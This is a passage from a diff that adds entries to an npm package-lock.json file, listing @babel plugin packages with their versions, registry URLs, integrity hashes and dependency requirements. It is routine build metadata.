"https://registry.npmjs.org/@babel/parser/-/parser-7.22.7.tgz", + "integrity": "sha512-7NF8pOkHP5o2vpmGgNGcfAeCvOYhGLyA3Z4eBQkT1RJlWu47n63bCs93QfJ2hIAFCil7L5P2IWhs1oToVgrL0Q==", + "dev": true + }, + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.5.tgz", + "integrity": "sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.5" + } + }, + "@babel/plugin-proposal-async-generator-functions": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.20.7.tgz", + "integrity": "sha512-xMbiLsn/8RK7Wq7VeVytytS2L6qE69bXPB10YCmMdDZbKF4okCqY74pI/jJQ/8U0b/F6NrT2+14b8/P9/3AMGA==", + "dev": true, + "requires": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-remap-async-to-generator": "^7.18.9", + "@babel/plugin-syntax-async-generators": "^7.8.4" + } + }, + "@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-proposal-class-static-block": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.21.0.tgz", + "integrity": "sha512-XP5G9MWNUskFuP30IfFSEFB0Z6HzLIUcjYM4bYOPHXl7eiJ9HFv8tWj6TXTN5QODiEhDZAeI4hLok2iHFFV4hw==", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.21.0", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + } + }, + "@babel/plugin-proposal-dynamic-import": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz", + "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + } + }, + "@babel/plugin-proposal-export-namespace-from": { + "version": "7.18.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz", + "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.9", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + } + }, + "@babel/plugin-proposal-json-strings": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz", + "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-json-strings": "^7.8.3" + } + }, + "@babel/plugin-proposal-logical-assignment-operators": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.20.7.tgz", + "integrity": "sha512-y7C7cZgpMIjWlKE5T7eJwp+tnRYM89HmRvWM5EQuB5BoHEONjmQ8lSNmBUwOyy/GFRsohJED51YBF79hE1djug==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + } + }, + "@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + } + }, + "@babel/plugin-proposal-numeric-separator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", + "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + } + }, + "@babel/plugin-proposal-object-rest-spread": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.20.7.tgz", + "integrity": "sha512-d2S98yCiLxDVmBmE8UjGcfPvNEUbA1U5q5WxaWFUGRzJSVAZqm5W6MbPct0jxnegUZ0niLeNX+IOzEs7wYg9Dg==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.20.5", + "@babel/helper-compilation-targets": "^7.20.7", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.20.7" + } + }, + "@babel/plugin-proposal-optional-catch-binding": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz", + "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + } + }, + "@babel/plugin-proposal-optional-chaining": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", + "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-proposal-private-methods": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", + "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz", + "integrity": "sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-create-class-features-plugin": "^7.21.0", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + } + }, + "@babel/plugin-proposal-unicode-property-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz", + "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.3" + } + }, + "@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-transform-arrow-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz", + "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-async-to-generator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz", + "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==", + "dev": true, + "requires": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5" + } + }, + "@babel/plugin-transform-block-scoped-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz", + "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-block-scoping": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.5.tgz", + "integrity": "sha512-EcACl1i5fSQ6bt+YGuU/XGCeZKStLmyVGytWkpyhCLeQVA0eu6Wtiw92V+I1T/hnezUv7j74dA/Ro69gWcU+hg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-classes": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.6.tgz", + "integrity": "sha512-58EgM6nuPNG6Py4Z3zSuu0xWu2VfodiMi72Jt5Kj2FECmaYk1RrTXA45z6KBFsu9tRgwQDwIiY4FXTt+YsSFAQ==", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "globals": "^11.1.0" + } + }, + "@babel/plugin-transform-computed-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz", + "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.5" + } + }, + "@babel/plugin-transform-destructuring": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.5.tgz", + "integrity": "sha512-GfqcFuGW8vnEqTUBM7UtPd5A4q797LTvvwKxXTgRsFjoqaJiEg9deBG6kWeQYkVEL569NpnmpC0Pkr/8BLKGnQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-dotall-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz", + "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-duplicate-keys": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz", + "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-exponentiation-operator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz", + "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==", + "dev": true, + "requires": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-for-of": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.5.tgz", + "integrity": "sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz", + "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==", + "dev": true, + "requires": { + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz", + "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-member-expression-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz", + "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-amd": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz", + "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-commonjs": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.5.tgz", + "integrity": "sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-systemjs": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.5.tgz", + "integrity": "sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==", + "dev": true, + "requires": { + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-umd": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz", + "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==", + "dev": true, + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", + "dev": true, + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-new-target": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz", + "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-object-super": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz", + "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5" + } + }, + "@babel/plugin-transform-optional-chaining": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.6.tgz", + "integrity": "sha512-Vd5HiWml0mDVtcLHIoEU5sw6HOUW/Zk0acLs/SAeuLzkGNOPc9DB4nkUajemhCmTIz3eiaKREZn2hQQqF79YTg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-transform-parameters": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.5.tgz", + "integrity": "sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-property-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz", + "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-regenerator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.5.tgz", + "integrity": "sha512-rR7KePOE7gfEtNTh9Qw+iO3Q/e4DEsoQ+hdvM6QUDH7JRJ5qxq5AA52ZzBWbI5i9lfNuvySgOGP8ZN7LAmaiPw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.1" + } + }, + "@babel/plugin-transform-reserved-words": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz", + "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-shorthand-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz", + "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-spread": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz", + "integrity": 